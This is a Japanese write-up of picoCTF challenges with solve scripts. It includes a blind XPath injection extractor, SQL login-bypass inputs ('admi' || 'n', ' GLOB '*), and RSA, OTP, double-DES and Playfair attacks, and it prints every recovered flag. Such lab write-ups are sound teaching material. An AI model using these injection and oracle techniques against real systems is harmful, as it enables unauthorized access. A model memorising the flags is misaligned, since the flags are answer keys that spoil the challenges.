Hints を見ると、「XPATH」と書かれているので、以下の2つのサイトを参考に XPATH Injection を行ってみる。

book.hacktricks.xyz

github.com

name と pass 両方に ' or '1'='1 と入力すると、「You're on the right path.」と表示された。

また、name に以下を入力しても「You're on the right path.」と表示された。 ただし、4を別の値に書き換えると「Login failure.」と表示された。

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='

「Login failure.」とならないパターンを列挙すると以下のようになった。

import requests
import itertools

for i, j in itertools.product(range(1, 5), repeat=2):

    for k in range(1, 100):
        param = f"' or string-length(//user[position()={i}]/child::node()[position()={j}])={k} or ''='"
        response = requests.post('http://mercury.picoctf.net:53735/', {'name': param, 'pass': ''})

        if 'Login failure.' not in response.text:
            print(param)
            break
$ python3 get_length.py
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='
' or string-length(//user[position()=1]/child::node()[position()=2])=5 or ''='
' or string-length(//user[position()=1]/child::node()[position()=3])=4 or ''='
' or string-length(//user[position()=1]/child::node()[position()=4])=16 or ''='
' or string-length(//user[position()=2]/child::node()[position()=1])=4 or ''='
' or string-length(//user[position()=2]/child::node()[position()=2])=3 or ''='
' or string-length(//user[position()=2]/child::node()[position()=3])=4 or ''='
' or string-length(//user[position()=2]/child::node()[position()=4])=22 or ''='
' or string-length(//user[position()=3]/child::node()[position()=1])=4 or ''='
' or string-length(//user[position()=3]/child::node()[position()=2])=5 or ''='
' or string-length(//user[position()=3]/child::node()[position()=3])=4 or ''='
' or string-length(//user[position()=3]/child::node()[position()=4])=50 or ''='

最後の50文字が怪しいので、以下の入力を使って1文字ずつ特定していくとフラグになった。

' or substring((//user[position()=3]/child::node()[position()=4]),1,1)="a" or ''='
import requests
import string

i = 3
j = 4
k = 50

chars = string.ascii_letters + string.digits + r'_{}'

flag = ''
for offset in range(1, k+1):

    for ch in chars:
        param = f"' or substring((//user[position()={i}]/child::node()[position()={j}]),{offset},1)=\"{ch}\" or ''='"
        response = requests.post("http://mercury.picoctf.net:53735/", {'name': param, 'pass': ''}) 

        print(param)
        if "Login failure." not in response.text: 
            flag += ch
            print('flag:', flag)
            break
$ python3 solve.py

<snip>

' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="_" or ''='
' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="{" or ''='
' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="}" or ''='
flag: picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a8550ff2}

picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a8550ff2}

Web Gauntlet 3 - 300 points

Last time, I promise! Only 25 characters this time. Log in as admin Site: http://mercury.picoctf.net:63504/ Filter: http://mercury.picoctf.net:63504/filter.php

Web Gauntlet 2 と同様の入力でフラグとソースコードが表示された。
(もしかしたら、想定回答と違うのかもしれない。)

  • Username: admi' || 'n
  • Password: ' GLOB '*
<?php
session_start();

if (!isset($_SESSION["winner3"])) {
    $_SESSION["winner3"] = 0;
}
$win = $_SESSION["winner3"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($win === 0) {
    $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
    if ($view) {
        echo "Filters: ".implode(" ", $filter)."<br/>";
    }
} else if ($win === 1) {
    if ($view) {
        highlight_file("filter.php");
    }
    $_SESSION["winner3"] = 0;        // <- Don't refresh!
} else {
    $_SESSION["winner3"] = 0;
}

// picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}
?>

picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}

Cryptography(12問)

Mod 26 - 10 points

Cryptography can be easy, do you know what ROT13 is? cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_MAZyqFQj}

CyberChef の ROT13 で変換するだけ

picoCTF{next_time_I'll_try_2_rounds_of_rot13_ZNMldSDw}

Mind your Ps and Qs - 20 points

In RSA, a small e value can be problematic, but what about N? Can you decrypt this? values

n の値を factordb.com で検索すると、素因数分解結果が分かる。

  • p: 1899107986527483535344517113948531328331
  • q: 674357869540600933870145899564746495319033

素因数分解できたので、以下のスクリプトで復号する。

def long_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)

def main():
    c = 62324783949134119159408816513334912534343517300880137691662780895409992760262021
    n = 1280678415822214057864524798453297819181910621573945477544758171055968245116423923
    e = 65537

    p = 1899107986527483535344517113948531328331
    q = 674357869540600933870145899564746495319033

    phi = (p - 1) * (q - 1)
    d = egcd(e, phi)[1]
    if d < 0:
        d += phi

    m = pow(c, d, n)
    flag = long_to_bytes(m)
    print(flag)

if __name__ == '__main__':
    main()
$ python3 solve.py
b'picoCTF{sma11_N_n0_g0od_05012767}'

picoCTF{sma11_N_n0_g0od_05012767}

Easy Peasy - 40 points

A one-time pad is unbreakable, but can you manage to recover the flag? (Wrap with picoCTF{}) nc mercury.picoctf.net 64260 otp.py

netcat でアクセスすると、暗号化されたフラグが表示される。
その後、何か文字列を入力すると、それを暗号化した結果が返ってくる。

$ nc mercury.picoctf.net 64260
******************Welcome to our OTP implementation!******************
This is the encrypted flag!
51466d4e5f575538195551416e4f5300413f1b5008684d5504384157046e4959

What data would you like to encrypt? hello
Here ya go!
582b301457

What data would you like to encrypt? hello
Here ya go!
5939145c0d

What data would you like to encrypt?

otp.py の処理を確認するとXORで暗号化していることが分かる。

XOR鍵は、50000 バイト分用意されている。 暗号化されるたびに消費されていき、50000 バイトまで到達すると、初めに戻るようになっている。

#!/usr/bin/python3 -u
import os.path

KEY_FILE = "key"
KEY_LEN = 50000
FLAG_FILE = "flag"


def startup(key_location):
    flag = open(FLAG_FILE).read()
    kf = open(KEY_FILE, "rb").read()

    start = key_location
    stop = key_location + len(flag)

    key = kf[start:stop]
    key_location = stop

    result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key))
    print("This is the encrypted flag!\n{}\n".format("".join(result)))

    return key_location

def encrypt(key_location):
    ui = input("What data would you like to encrypt? ").rstrip()
    if len(ui) == 0 or len(ui) > KEY_LEN:
        return -1

    start = key_location
    stop = key_location + len(ui)

    kf = open(KEY_FILE, "rb").read()

    if stop >= KEY_LEN:
        stop = stop % KEY_LEN
        key = kf[start:] + kf[:stop]
    else:
        key = kf[start:stop]
    key_location = stop

    result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key))

    print("Here ya go!\n{}\n".format("".join(result)))

    return key_location


print("******************Welcome to our OTP implementation!******************")
c = startup(0)
while c >= 0:
    c = encrypt(c)

フラグ文字列の長さは 32 バイトなので、まず 50000 - 32 バイトの文字列を入力して、鍵を消費させる。 その後 32バイトの \x00 を暗号化させると、初めに使用された鍵を特定することができる。

$ python3 -c "print('A'*(50000-32)+'\n'+'\x00'*32)" | nc mercury.picoctf.net 64260

<snip>

What data would you like to encrypt? Here ya go!
62275c786663615c783165725c786237225c7863315c7831375c7861305c7838

What data would you like to encrypt?

鍵の特定ができたので、後は CyberChef で XOR すればフラグを復号することができる。

picoCTF{3a16944dad432717ccc3945d3d96421a}

New Caesar - 60 points

We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{}) mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj new_caesar.py

new_caesar.py を読むと、フラグ文字列を b16_encode でエンコードし、shift で文字列をずらすという処理になっていた。 また、key の長さは、1文字固定になっていた。

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc

def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]

flag = "redacted"
key = "redacted"
assert all([k in ALPHABET for k in key])
assert len(key) == 1

b16 = b16_encode(flag)
enc = ""
for i, c in enumerate(b16):
    enc += shift(c, key[i % len(key)])
print(enc)

逆の手順を行う unshift と b16_decode を実装し、key を総当たりすれば解ける。

import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_decode(enc):
    dec = ""
    for i in range(0, len(enc), 2):
        n1 = ord(enc[i]) - LOWERCASE_OFFSET
        n2 = ord(enc[i+1]) - LOWERCASE_OFFSET
        dec += chr((n1 << 4) + n2)
    return dec


def unshift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]


enc = 'mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj'

for key in ALPHABET:
    b16 = ""
    for i, c in enumerate(enc):
        b16 += unshift(c, key[i % len(key)])

    flag = b16_decode(b16)
    if all([c in string.printable for c in flag]):
        print(flag)

上記のスクリプトを実行すると、2つの候補が出力された。両方とも入力してみると、1つ目が正しいフラグになっていた。

$ python3 solve.py 
et_tu?_a2da1e18af49f649806988786deb2a6c
TcNcd.NP!SP T 'PU#(U%#('/%(''&'%STQ!P%R

picoCTF{et_tu?_a2da1e18af49f649806988786deb2a6c}

Mini RSA - 70 points

What happens if you have a small exponent? There is a twist though, we padded the plaintext so that (M ** e) is just barely larger than N. Let's decrypt this: ciphertext

e が小さいので Low Public Exponent Attack が可能

#!/usr/bin/env python3
import gmpy2

def long_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')

def low_public_exponent_attack(c, e, n=0):
    while True:
        m, exact_root = gmpy2.iroot(c, e)
        if exact_root == True:
            break
        c += n
    return int(m)

def main():
    n = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287
    c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808146956044568639690002921620304969196755223769438221859424275683828638207433071955615349052424040706261639770492033970498727183446507482899334169592311953247661557664109356372049286283480939368007035616954029177541731719684026988849403756133033533171081378815289443019437298879607294287249591634702823432448559878065453908423094452047188125358790554039587941488937855941604809869090304206028751113018999782990033393577325766685647733181521675994939066814158759362046052998582186178682593597175186539419118605277037256659707217066953121398700583644564201414551200278389319378027058801216150663695102005048597466358061508725332471930736629781191567057009302022382219283560795941554288119544255055962
    e = 3

    m = low_public_exponent_attack(c, e, n)
    flag = long_to_bytes(m).decode().strip()
    print(flag)

if __name__ == '__main__':
    main()
$ python3 solve.py 
picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}

picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}

Dachshund Attacks - 80 points

What if d is too small? Connect with nc mercury.picoctf.net 36463.

netcat で接続すると、以下のように表示される。

$ nc mercury.picoctf.net 36463
Welcome to my RSA challenge!
e: 81338426052286995123747732562352950660576811927286701220389734194320655488118338968356272516889193559140591791999686777095060774323273871577219519689671631122257756983905248101320079667770599142909235209336703136245845881345313663647681369686266817269118761407380470660644447830816115282838986720913594437625
n: 102291509411562701164624436311675543622043278282678503390546418784792382334937937729055468680895936652749612657408673576793527876291815456231260977808904305146004148189867579768603200371579784755641152320785820748608974713746518652777608870833043386367345892772721857704904203962293335259665375265888162389169
c: 34414701984144338102141411905665026142345540096382151304281607869755991069070482830197537726796551343742594619088292267874819430914154403553924084333058056732112137222259121160631915516375094835352648367563913442773878211696927737553844180819183229951995031361626441210501916100916717624347208193173655444345

e が大きすぎる場合、Wiener attack で d を求めることができる。

import owiener

def long_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')

def main():
    e = 81338426052286995123747732562352950660576811927286701220389734194320655488118338968356272516889193559140591791999686777095060774323273871577219519689671631122257756983905248101320079667770599142909235209336703136245845881345313663647681369686266817269118761407380470660644447830816115282838986720913594437625
    n = 102291509411562701164624436311675543622043278282678503390546418784792382334937937729055468680895936652749612657408673576793527876291815456231260977808904305146004148189867579768603200371579784755641152320785820748608974713746518652777608870833043386367345892772721857704904203962293335259665375265888162389169
    c = 34414701984144338102141411905665026142345540096382151304281607869755991069070482830197537726796551343742594619088292267874819430914154403553924084333058056732112137222259121160631915516375094835352648367563913442773878211696927737553844180819183229951995031361626441210501916100916717624347208193173655444345

    d = owiener.attack(e, n)
    print('d =', d)

    m = pow(c, d, n)
    flag = long_to_bytes(m).decode()
    print(flag)

if __name__ == '__main__':
    main()
$ python3 solve.py 
d = 10654506914838660682042479308820932228624973756818215204747660280732997426733
picoCTF{proving_wiener_2635457}

picoCTF{proving_wiener_2635457}

No Padding, No Problem - 90 points

Oracles can be your best friend, they will decrypt anything, except the flag's ciphertext. How will you break it? Connect with nc mercury.picoctf.net 42248.

netcat で接続すると、以下のように表示される。

$ nc mercury.picoctf.net 42248
Welcome to the Padding Oracle Challenge
This oracle will take anything you give it and decrypt using RSA. It will not accept the ciphertext with the secret message... Good Luck!


n: 90101643683642449854141336789755762750892438892492293162747484130901800000476193957507322455444793365572878082615944603531154759082954196403476102687766754013478750367732778910414385109169060566519214178468223030897871266040587489080579439025035637990339198670309017861948362214005512914928246568765305024767
e: 65537
ciphertext: 55059755122316293832806182548856940205700087671359599893654974960052751590338675291837564636041951152539150526610821581731320858542078629785862790217786932780068848408944318495408576899383380788155211222791292060471451513146108358481359709726036875084627488661424786721073201264949133187880243301440697444504


Give me ciphertext to decrypt:

任意の暗号文を復号することができるので、LSB Decryption Oracle Attack で平文を求めることができる。 ただし、サーバへの入力回数制限がある。 何度か試した結果、600回分ぐらいまで LSB が 0 固定だったので、その回数分はサーバに入力せずに探索させるようにした。

from fractions import Fraction
import nclib
import sys


def long_to_bytes(x: int) -> bytes:
    return x.to_bytes((x.bit_length() + 7) // 8, 'big')


def lsb_decryption_oracle_attack(c, e, n, decrypt_lsb_func):
    lsb_count = 0
    bounds = [0, Fraction(n)]

    print('lsb = ', end='')
    while True:
        c2 = (c * pow(2, e, n)) % n
        if lsb_count < 600:
            lsb = 0
        else:
            lsb = decrypt_lsb_func(c2)
            sys.stdout.flush()

        lsb_count += 1
        print(lsb, end='')

        if lsb == 1:
            bounds[0] = sum(bounds) / 2
        else:
            bounds[1] = sum(bounds) / 2
        diff = bounds[1] - bounds[0]
        diff = diff.numerator // diff.denominator

        if diff == 0:
            print() # return
            m = bounds[1].numerator // bounds[1].denominator
            return m
        c = c2


def main():
    host = 'mercury.picoctf.net'
    port = 42248
    nc = nclib.Netcat((host, port))

    nc.readuntil('n: ')
    n = int(nc.readuntil('\n').decode('utf8').strip())

    nc.readuntil('e: ')
    e = int(nc.readuntil('\n').decode('utf8').strip())

    nc.readuntil('ciphertext: ')
    c = int(nc.readuntil('\n').decode('utf8').strip())

    print('n =', n)
    print('e =', e)
    print('c =', c)

    def decrypt_lsb(c):
        nc.readuntil('Give me ciphertext to decrypt: ')
        nc.send(str(c) + '\n')
        nc.readuntil('Here you go: ')
        m = int(nc.readuntil('\n').decode('utf8').strip())
        return m % 2

    m = lsb_decryption_oracle_attack(c, e, n, decrypt_lsb)
    flag = long_to_bytes(m).decode()
    print(flag)


if __name__ == '__main__':
    main()
$ python3 solve.py
n = 127538109255149095159351255319745846800842622737071047206458625471775250251247589987255533154549522897945773386612463892310040847081866951183088945315833082409020477026914363348359495479411632017058742284291288096032191788866942959097081110060390924386114120017465652486559435432083309957588562501724746743077
e = 65537
c = 126157948333791054890541032128762049981774872417790778366321819526665365804293162663843061380248606275351261834820605470723069254403322672259795792356479432275253463326722026226003867381699189801868601201429379060463483801885195943124329665680535394848337728418075834649386350321320621979652104693859600216081
lsb = 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100111100111001010110101110011001100100001010101100100001101101000101010110011001011111011110110110000111111101011101100000100010011010110011110010001011000000010001010100101100101110101010000110011101110000000011111101101101110010101100001111100011010001110001010010001101011011100101101101111111000101100010100000011010100111010000111001101011101110011111001011010100000110110111000001001001111010101000010
picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}

picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}

Play Nice - 110 points

Not all ancient ciphers were so bad... The flag is not in standard format. nc mercury.picoctf.net 30568 playfair.py

netcat で接続すると、以下のように表示された。

$ nc mercury.picoctf.net 30568
Here is the alphabet: 0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q
Here is the encrypted message: herfayo7oqxrz7jwxx15ie20p40u1i
What is the plaintext message? 

playfair.py を確認すると、末尾に Playfair Cipher の Wikipedia のリンクが書かれていた。

en.wikipedia.org

上記を参照したところ、どうやら2文字ずつ変換していくらしいということが分かった。 よって、以下の方針で復号するようにした。

  1. 2文字ずつ総当たりで暗号化して復号用のテーブルを作成する。
  2. 作成したテーブルを参照しながら、元の暗号文を復号する。

playfair.py を少し書き換えて復号できるようにした。

#!/usr/bin/python3 -u
from pprint import pprint
import signal

SQUARE_SIZE = 6


def generate_square(alphabet):
    assert len(alphabet) == pow(SQUARE_SIZE, 2)
    matrix = []
    for i, letter in enumerate(alphabet):
        if i % SQUARE_SIZE == 0:
            row = []
        row.append(letter)
        if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
            matrix.append(row)
    return matrix

def get_index(letter, matrix):
    for row in range(SQUARE_SIZE):
        for col in range(SQUARE_SIZE):
            if matrix[row][col] == letter:
                return (row, col)
    print("letter not found in matrix.")
    exit()

def encrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)

    if p1[0] == p2[0]:
        return matrix[p1[0]][(p1[1] + 1)  % SQUARE_SIZE] + matrix[p2[0]][(p2[1] + 1)  % SQUARE_SIZE]
    elif p1[1] == p2[1]:
        return matrix[(p1[0] + 1)  % SQUARE_SIZE][p1[1]] + matrix[(p2[0] + 1)  % SQUARE_SIZE][p2[1]]
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]

def encrypt_string(s, matrix):
    result = ""
    if len(s) % 2 == 0:
        plain = s
    else:
        plain = s + "0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q"[0]
    for i in range(0, len(plain), 2):
        result += encrypt_pair(plain[i:i + 2], matrix)
    return result

# added
import itertools

alphabet = '0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q'
enc_msg = 'herfayo7oqxrz7jwxx15ie20p40u1i'

m = generate_square(alphabet)

dec_table = {}
for x, y in itertools.product(alphabet, alphabet):
    msg = x + y
    c = encrypt_string(msg, m)
    dec_table[c] = msg

dec_msg = ''
for i in range(0, len(enc_msg), 2):
    c = enc_msg[i] + enc_msg[i + 1]
    dec_msg += dec_table[c]

print(dec_msg) 
$ python3 playfair.py 
emf57mgc51tp693dtt4g3h7f8ouwq3

netcat で接続し、復号した文字列を入力するとフラグが表示された。

$ nc mercury.picoctf.net 30568
Here is the alphabet: 0fkdwu6rp8zvsnlj3iytxmeh72ca9bg5o41q
Here is the encrypted message: herfayo7oqxrz7jwxx15ie20p40u1i
What is the plaintext message? emf57mgc51tp693dtt4g3h7f8ouwq3
Congratulations! Here's the flag: 007d0a696aaad7fb5ec21c7698e4f754

007d0a696aaad7fb5ec21c7698e4f754

Double DES - 120 points

I wanted an encryption service that's more secure than regular DES, but not as slow as 3DES... The flag is not in standard format. nc mercury.picoctf.net 33425 ddes.py

netcat で接続すると、以下のように表示される。

$ nc mercury.picoctf.net 33425
Here is the flag:
d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08
What data would you like to encrypt? 41
efc063ad29d74143
What data would you like to encrypt?

Double DES かつ任意の平文を同じ鍵で暗号化した結果を入手することができるので、中間一致攻撃で鍵を特定することができる。 以下を参考にスクリプトを作成した。

f:id:tsalvia:20210331073014p:plain
出典: Meet-in-the-middle attack - Wikipedia

from Crypto.Cipher import DES
import string
import itertools
import binascii

"""
$ nc mercury.picoctf.net 33425
Here is the flag:
d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08
What data would you like to encrypt? 41
efc063ad29d74143
What data would you like to encrypt?
"""

def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()

def create_dec_k2_table(c):
    dec_k2_table = {}
    for ch in itertools.product(string.digits, repeat=6):
        key2 = pad(''.join(ch))
        cipher2 = DES.new(key2, DES.MODE_ECB)
        dec = cipher2.decrypt(c)
        dec_k2_table[dec] = key2
    return dec_k2_table

def create_enc_k1_table(p):
    enc_k1_table = {}
    for ch in itertools.product(string.digits, repeat=6):
        key1 = pad(''.join(ch))
        cipher1 = DES.new(key1, DES.MODE_ECB)
        enc = cipher1.encrypt(p)
        enc_k1_table[enc] = key1
    return enc_k1_table

def meet_in_the_middle_attack(p, c):
    enc_k1_table = create_enc_k1_table(p)
    dec_k2_table = create_dec_k2_table(c)

    middle_ciphertext = list(enc_k1_table.keys() & dec_k2_table.keys())[0]
    key1 = enc_k1_table[middle_ciphertext]
    key2 = dec_k2_table[middle_ciphertext]

    print('middle_ciphertext:', binascii.hexlify(middle_ciphertext).decode())
    print('key1:', key1) 
    print('key2:', key2) 
    return key1, key2

def double_decrypt(c, key1, key2):
    cipher2 = DES.new(key2, DES.MODE_ECB)
    dec_c = cipher2.decrypt(c)
    cipher1 = DES.new(key1, DES.MODE_ECB)
    return cipher1.decrypt(dec_c)

def main():
    p = pad(binascii.unhexlify('41').decode())
    c = binascii.unhexlify('efc063ad29d74143')
    enc_flag = binascii.unhexlify('d12a8478b499ba11c015a0c38ce77fe5a0f00f5de73c7532a2526344948ed444d10033d506cf0c08')

    key1, key2 = meet_in_the_middle_attack(p, c)
    flag = double_decrypt(enc_flag, key1, key2)

    print('flag:', flag.decode())

if __name__ == '__main__':
    main()
$ python3 solve.py 
middle_ciphertext: 6c90b66f95635193
key1: b'539737  '
key2: b'379195  '
flag: af5fa5d565081bac320f42feaf69b405

af5fa5d565081bac320f42feaf69b405

It is my Birthday 2 - 170 points

My birthday is coming up again, but I want to have a very exclusive party for only the best cryptologists. See if you can solve my challenge, upload 2 valid PDFs that are different but have the same SHA1 hash. They should both have the same 1000 bytes at the end as the original invite. http://mercury.picoctf.net:59127/ invite.pdf

以下のページから、SHA1ハッシュ値が同一のPDFをダウンロードする。

shattered.io

invite.pdf の後ろから1000バイトを取り出して、各PDFの末尾に追記する。

base_pdf = 'invite.pdf'

pdf_files = [
    'shattered-1.pdf',
    'shattered-2.pdf',
]

with open(base_pdf, 'rb') as f:
    data = f.read()
orig_invite_data = data[-1000:]

for pdf in pdf_files:
    with open(pdf, 'ab') as f:
        f.write(orig_invite_data)
$ sha1sum shattered-1.pdf shattered-2.pdf 
38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-1.pdf
38762cf7f55934b34d179ae6a4c80cadccbb7f0a  shattered-2.pdf
$ python3 add_invite_data.py 
$ sha1sum shattered-1.pdf shattered-2.pdf 
133f99dc4ac356ad2b2b611f82d51fda3451d352  shattered-1.pdf
133f99dc4ac356ad2b2b611f82d51fda3451d352  shattered-2.pdf

データを追記した2つのファイルをアップロードすると、フラグが表示された。

picoCTF{h4ppy_b1rthd4y_2_m3_96ee9031}

Pixelated - 200 points

I have these 2 images, can you make a flag out of them? scrambled1.png scrambled2.png

「うさみみハリケーン」の「青い空を見上げればいつもそこに白い猫」で画像を合成すると、フラグが表示された。

f:id:tsalvia:20210331074310p:plain

picoCTF{1b867c3e}

New Vignere - 300 points

Another slight twist on a classic, see if you can recover the flag. (Wrap with picoCTF{}) bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp new_vignere.py

New Caesar の続きの問題

前回と違い、今回は key の長さが1~14文字になっている。また、復号後の文字列は abcdef0123456789 のいずれかになっており、候補が少なくなっている。

まずは、暗号化された文字列が正しく復号できる key のパターンをすべて列挙した。

import string
import itertools

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]


def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc

def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]

enc_flag = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp'

for off in range(0, len(enc_flag), 2):
    key0_list = []
    key1_list = []

    for ch in "abcdef0123456789":
        for k in itertools.product(ALPHABET, repeat=2):
            key = ''.join(k)

            b16 = b16_encode(ch)
            enc = ""
            for i, c in enumerate(b16):
                enc += shift(c, key[i % len(key)])

            if enc == enc_flag[off:off+2]:
                key0_list.append(key[0])
                key1_list.append(key[1])

    print(enc_flag[off:off+2]+'_0', key0_list)
    print(enc_flag[off:off+2]+'_1', key1_list)
$ python3 test.py | nl
     1  bk_0 ['l', 'l', 'l', 'l', 'l', 'l', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o', 'o']
     2  bk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b']
     3  gl_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
     4  gl_1 ['k', 'j', 'i', 'h', 'g', 'f', 'l', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c']
     5  ib_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f']
     6  ib_1 ['a', 'p', 'o', 'n', 'm', 'l', 'b', 'a', 'p', 'o', 'n', 'm', 'l', 'k', 'j', 'i']
     7  gk_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
     8  gk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b']
     9  hg_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    10  hg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n']
    11  hk_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    12  hk_1 ['j', 'i', 'h', 'g', 'f', 'e', 'k', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b']
    13  ij_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f']
    14  ij_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a']
    15  ph_0 ['j', 'j', 'j', 'j', 'j', 'j', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm', 'm']
    16  ph_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    17  hh_0 ['b', 'b', 'b', 'b', 'b', 'b', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e', 'e']
    18  hh_1 ['g', 'f', 'e', 'd', 'c', 'b', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o']
    19  ej_0 ['o', 'o', 'o', 'o', 'o', 'o', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b']
    20  ej_1 ['i', 'h', 'g', 'f', 'e', 'd', 'j', 'i', 'h', 'g', 'f', 'e', 'd', 'c', 'b', 'a']
    21  gg_0 ['a', 'a', 'a', 'a', 'a', 'a', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
    22  gg_1 ['f', 'e', 'd', 'c', 'b', 'a', 'g', 'f', 'e', 'd', 'c', 'b', 'a', 'p', 'o', 'n']
    23  ik_0 ['c', 'c', 'c', 'c', 'c', 'c', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f']
